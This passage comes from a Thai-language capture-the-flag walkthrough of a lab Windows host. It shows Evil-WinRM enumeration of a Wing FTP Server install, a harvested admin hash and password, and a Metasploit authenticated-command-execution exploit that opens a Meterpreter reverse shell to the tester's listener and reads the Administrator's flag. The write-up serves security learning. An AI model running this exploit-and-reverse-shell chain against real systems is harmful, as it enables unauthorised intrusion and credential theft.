[+] Powershell Setting
WindowsPowerShell
Wing FTP Server
WinRAR
InstallLocation REG_SZ C:\Program Files\WinRAR
InstallLocation REG_SZ C:\Program Files\VMware\VMware Tools\
InstallLocation REG_SZ C:\Program Files (x86)\Wing FTP Server\
ซึ่งข้อมูลที่น่าสนใจคือ Wing FTP Server ครับ
*Evil-WinRM* PS C:\Program Files (x86)\Wing FTP Server> dir
Directory: C:\Program Files (x86)\Wing FTP Server
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 12/3/2024 5:35 AM Data
d----- 11/28/2024 10:06 PM Log
d----- 11/28/2024 10:06 PM lua
d----- 11/28/2024 10:06 PM Microsoft.VC90.CRT
d----- 12/3/2024 5:14 AM session_admin
d----- 11/28/2024 10:06 PM Tray
d----- 11/28/2024 10:06 PM webadmin
d----- 11/28/2024 10:06 PM webclient
-a---- 6/26/2014 2:09 PM 1000448 libeay32.dll
-a---- 1/14/2012 7:41 PM 95744 libnat.dll
-a---- 9/14/2010 9:36 PM 4940 License.txt
-a---- 4/23/2010 5:39 PM 167936 lua5.1.dll
-a---- 8/28/2008 3:04 PM 11264 lua51.dll
-a---- 11/7/2007 12:24 PM 524 Microsoft.VC90.CRT.manifest
-a---- 11/7/2007 12:23 PM 224768 msvcm90.dll
-a---- 11/7/2007 5:19 PM 568832 msvcp90.dll
-a---- 11/7/2007 5:19 PM 655872 msvcr90.dll
-a---- 5/27/2010 4:06 PM 592896 setuphelper.dll
-a---- 6/26/2014 2:10 PM 216576 ssleay32.dll
-a---- 11/28/2024 10:06 PM 215702 unins000.dat
-a---- 11/28/2024 10:06 PM 1187903 unins000.exe
-a---- 6/26/2014 6:45 PM 36276 version.txt
-a---- 7/2/2014 2:17 PM 256200 WFTPConsole.exe
-a---- 7/2/2014 2:17 PM 6357192 WFTPServer.exe
-a---- 7/2/2014 2:17 PM 1183944 WFTPTray.exe
-a---- 9/27/2009 10:40 AM 824 wftp_default_ssh.key
-a---- 10/13/2009 7:46 PM 1006 wftp_default_ssl.crt
-a---- 10/13/2009 7:46 PM 906 wftp_default_ssl.key
-a---- 9/7/2009 10:50 PM 53248 xmlparse.dll
-a---- 9/7/2009 10:50 PM 81920 xmltok.dll
*Evil-WinRM* PS C:\Program Files (x86)\Wing FTP Server\Data> dir
Directory: C:\Program Files (x86)\Wing FTP Server\Data
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 12/2/2024 10:41 AM _ADMINISTRATOR
-a---- 12/2/2024 10:45 AM 1835 settings.xml
*Evil-WinRM* PS C:\Program Files (x86)\Wing FTP Server\Data> cd _ADMINISTRATOR
*Evil-WinRM* PS C:\Program Files (x86)\Wing FTP Server\Data\_ADMINISTRATOR> dir
Directory: C:\Program Files (x86)\Wing FTP Server\Data\_ADMINISTRATOR
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 12/2/2024 10:25 AM 405 admins.xml
-a---- 12/2/2024 10:50 AM 422 settings.xml
*Evil-WinRM* PS C:\Program Files (x86)\Wing FTP Server\Data\_ADMINISTRATOR> type admins.xml
<?xml version="1.0" ?>
<ADMIN_ACCOUNTS Description="Wing FTP Server Admin Accounts">
<ADMIN>
<Admin_Name>andy</Admin_Name>
<Password>c6a753167395dd90ede93431a1430291</Password>
<Type>0</Type>
<Readonly>0</Readonly>
<IsDomainAdmin>0</IsDomainAdmin>
<DomainList></DomainList>
<MyDirectory></MyDirectory>
</ADMIN>
</ADMIN_ACCOUNTS>
*Evil-WinRM* PS C:\Program Files (x86)\Wing FTP Server\Data\_ADMINISTRATOR> type settings.xml
<?xml version="1.0" ?>
<Administrator Description="Wing FTP Server Administrator Options">
<HttpPort>5466</HttpPort>
<HttpSecure>0</HttpSecure>
<SSLName>wftp_default_ssl</SSLName>
<AdminLogfileEnable>1</AdminLogfileEnable>
<AdminLogfileFileName>Admin-%Y-%M-%D.log</AdminLogfileFileName>
<AdminLogfileMaxsize>0</AdminLogfileMaxsize>
<EnablePortUPnP>0</EnablePortUPnP>
</Administrator>
ซึ่งถ้าเราค้นหาข้อมูลเราจะพบว่า Wing FTP Server มีการตั้งค่าให้ User andy เป็นสิทธิ์ Administrator ครับ จากนั้นให้เราทำการเปิด Wing FTP Server ขึ้นมาครับโดยใช้ WFTPConsole.exe
*Evil-WinRM* PS C:\Program Files (x86)\Wing FTP Server> ./WFTPConsole.exe
Allowed options:
--help Show this message
-u [ --username ] arg Username (Required field)
-p [ --password ] arg Password (Required field)
-h [ --host ] arg Remote host IP address,default is localhost
-P [ --port ] arg Remote host port,default is 5466
-f [ --file ] arg Parse and execute local Lua <file>
-s [ --ssl ] Use SSL connection
*Evil-WinRM* PS C:\Program Files (x86)\Wing FTP Server> ./WFTPConsole.exe -u andy -p raises.honor0holds
จากนั้นผมจึงได้เจอกับ Script Exploit จากเครื่องมือ Metasploit ที่สามารถ RCE
msf6 exploit(windows/mssql/mssql_payload_sqli) > search Wing FTP Server
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/ftp/comsnd_ftpd_fmtstr 2012-06-08 good Yes ComSndFTP v1.3.7 Beta USER Format String (Write4) Vulnerability
1 \_ target: Automatic . . . .
2 \_ target: Windows XP SP3 - English . . . .
3 \_ target: Windows Server 2003 - English . . . .
4 exploit/windows/ftp/sami_ftpd_user 2006-01-24 normal Yes KarjaSoft Sami FTP Server v2.0.2 USER Overflow
5 exploit/windows/mssql/mssql_payload_sqli 2000-05-30 excellent No Microsoft SQL Server Payload Execution via SQL Injection
6 exploit/windows/tftp/opentftp_error_code 2008-07-05 average No OpenTFTP SP 1.4 Error Packet Overflow
7 \_ target: OpenTFTP 1.4 Service . . . .
8 \_ target: OpenTFTP 1.4 Stand Alone . . . .
9 exploit/windows/ftp/pcman_stor 2013-06-27 normal Yes PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow
10 exploit/windows/ftp/quickshare_traversal_write 2011-02-03 excellent Yes QuickShare File Server 1.2.1 Directory Traversal Vulnerability
11 exploit/windows/ftp/vermillion_ftpd_port 2009-09-23 great Yes Vermillion FTP Daemon PORT Command Memory Corruption
12 \_ target: Automatic Targeting . . . .
13 \_ target: vftpd 1.31 - Windows XP SP3 English . . . .
14 exploit/windows/ftp/wing_ftp_admin_exec 2014-06-19 excellent Yes Wing FTP Server Authenticated Command Execution
Interact with a module by name or index. For example info 14, use 14 or use exploit/windows/ftp/wing_ftp_admin_exec
msf6 exploit(windows/mssql/mssql_payload_sqli) > use 14
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/ftp/wing_ftp_admin_exec) > show options
Module options (exploit/windows/ftp/wing_ftp_admin_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD c6a753167395dd90ede93431a1430291 yes Admin password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.52.0.203 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using
-metasploit.html
RPORT 5466 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
USERNAME andy yes Admin username
VHOST no HTTP server virtual host
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.240.0.2 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wing FTP Server >= 3.0.0
View the full module info with the info, or info -d command.
msf6 exploit(windows/ftp/wing_ftp_admin_exec) > set PASSWORD raises.honor0holds
PASSWORD => raises.honor0holds
msf6 exploit(windows/ftp/wing_ftp_admin_exec) > exploit
[-] Handler failed to bind to 10.240.0.2:4444:- -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Found Wing FTP Server 4.3.8
[+] Found Powershell at C:\Windows\System32\WindowsPowerShell\v1.0\
[*] Executing payload via PowerShell...
[*] Exploit completed, but no session was created.
msf6 exploit(windows/ftp/wing_ftp_admin_exec) > set LHOST tun0
LHOST => 10.240.0.7
msf6 exploit(windows/ftp/wing_ftp_admin_exec) > exploit
[*] Started reverse TCP handler on 10.240.0.7:4444
[*] Found Wing FTP Server 4.3.8
[+] Found Powershell at C:\Windows\System32\WindowsPowerShell\v1.0\
[*] Executing payload via PowerShell...
[*] Sending stage (177734 bytes) to 10.240.0.3
[*] Meterpreter session 1 opened (10.240.0.7:4444 -> 10.240.0.3:54775) at 2024-12-02 05:50:46 -0500
meterpreter > dir
whoamiListing: C:\Windows\system32
============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 0 dir 2018-09-15 05:07:39 -0400 0409
100666/rw-rw-rw- 2151 fil 2018-09-15 03:12:00 -0400 12520437.cpx
100666/rw-rw-rw- 2233 fil 2018-09-15 03:12:00 -0400 12520850.cpx
100666/rw-rw-rw- 232 fil 2018-09-15 03:13:06 -0400 @AppHelpToast.png
100666/rw-rw-rw- 308 fil 2018-09-15 03:13:04 -0400 @AudioToastIcon.png
100666/rw-rw-rw- 330 fil 2018-09-15 03:13:06 -0400 @EnrollmentToastIcon.png
100666/rw-rw-rw- 404 fil 2018-09-15 03:13:09 -0400 @VpnToastIcon.png
100666/rw-rw-rw- 691 fil 2018-09-15 03:13:11 -0400 @WirelessDisplayToast.png
100666/rw-rw-rw- 1004032 fil 2021-08-15 06:04:19 -0400 APMon.dll
100777/rwxrwxrwx 22528 fil 2018-09-15 03:12:01 -0400 ARP.EXE
100666/rw-rw-rw- 387392 fil 2021-08-15 06:03:59 -0400 AUDIOKSE.dll
100666/rw-rw-rw- 330752 fil 2021-08-15 06:03:34 -0400 AboveLockAppHost.dll
100666/rw-rw-rw- 2393600 fil 2021-08-15 06:04:29 -0400 AcGenral.dll
100666/rw-rw-rw- 394752 fil 2021-08-15 06:04:11 -0400 AcLayers.dll
100666/rw-rw-rw- 460800 fil 2018-09-15 03:13:14 -0400 AcSpecfc.dll
meterpreter > cd Desktop
meterpreter > dir
Listing: C:\USers\Administrator\Desktop
=======================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 38 fil 2024-11-27 12:37:38 -0500 Final.txt
100666/rw-rw-rw- 301 fil 2024-11-28 14:40:41 -0500 Thank you.txt
100666/rw-rw-rw- 282 fil 2024-10-26 02:01:09 -0400 desktop.ini
meterpreter > type Final.txt
[-] Unknown command: type. Run the help command for more details.
meterpreter > shell
Process 5284 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.2114]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\USers\Administrator\Desktop>type Final.txt
type Final.txt
PRMS{3b31e37e44886ee1137561a95c9caa77}
สุดท้ายก็จะได้ Final.txt ที่ซ้อน Flag.txt ในที่สุดครับเย้ 🎉
ขอบคุณที่อ่านมาจนจบนะครับหวังว่าจะเป็นประโยชน์ต่อผู้ที่อาจจะกำลังศึกษาในเรื่องของ AD นะครับ :)
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⣤⣤⣤⣤⣤⣤⣤⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀
⢀⣤⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠛⠻⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⡿⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣤⣴⣿⣿⣿⣿⣿⡿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠋ ⢀⣀⠀⠀⠀⠀⠀⠀
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⠁⠀⠀ ⣴⣿⣿⣿⣦⠀⠀⠀
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣀⠀⠀⠀ ⢿⣿⣿⣿⡟ Ar3mus @ DropCTF - RED X BLUE PILL CHALLENGES
⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣄ ⠉⠉⠁⠀⠀⠀⠀
⠸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠀⠀⠀
⠀⠀ ⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋
⠀⠀⠀ ⠀⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠁
⠀⠀ ⠀⠀⠀⠀⠉⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠉⠙⠛⠛⠻⠿⠿⠟⠛⠛⠋⠉⠀⠀⠀⠀⠀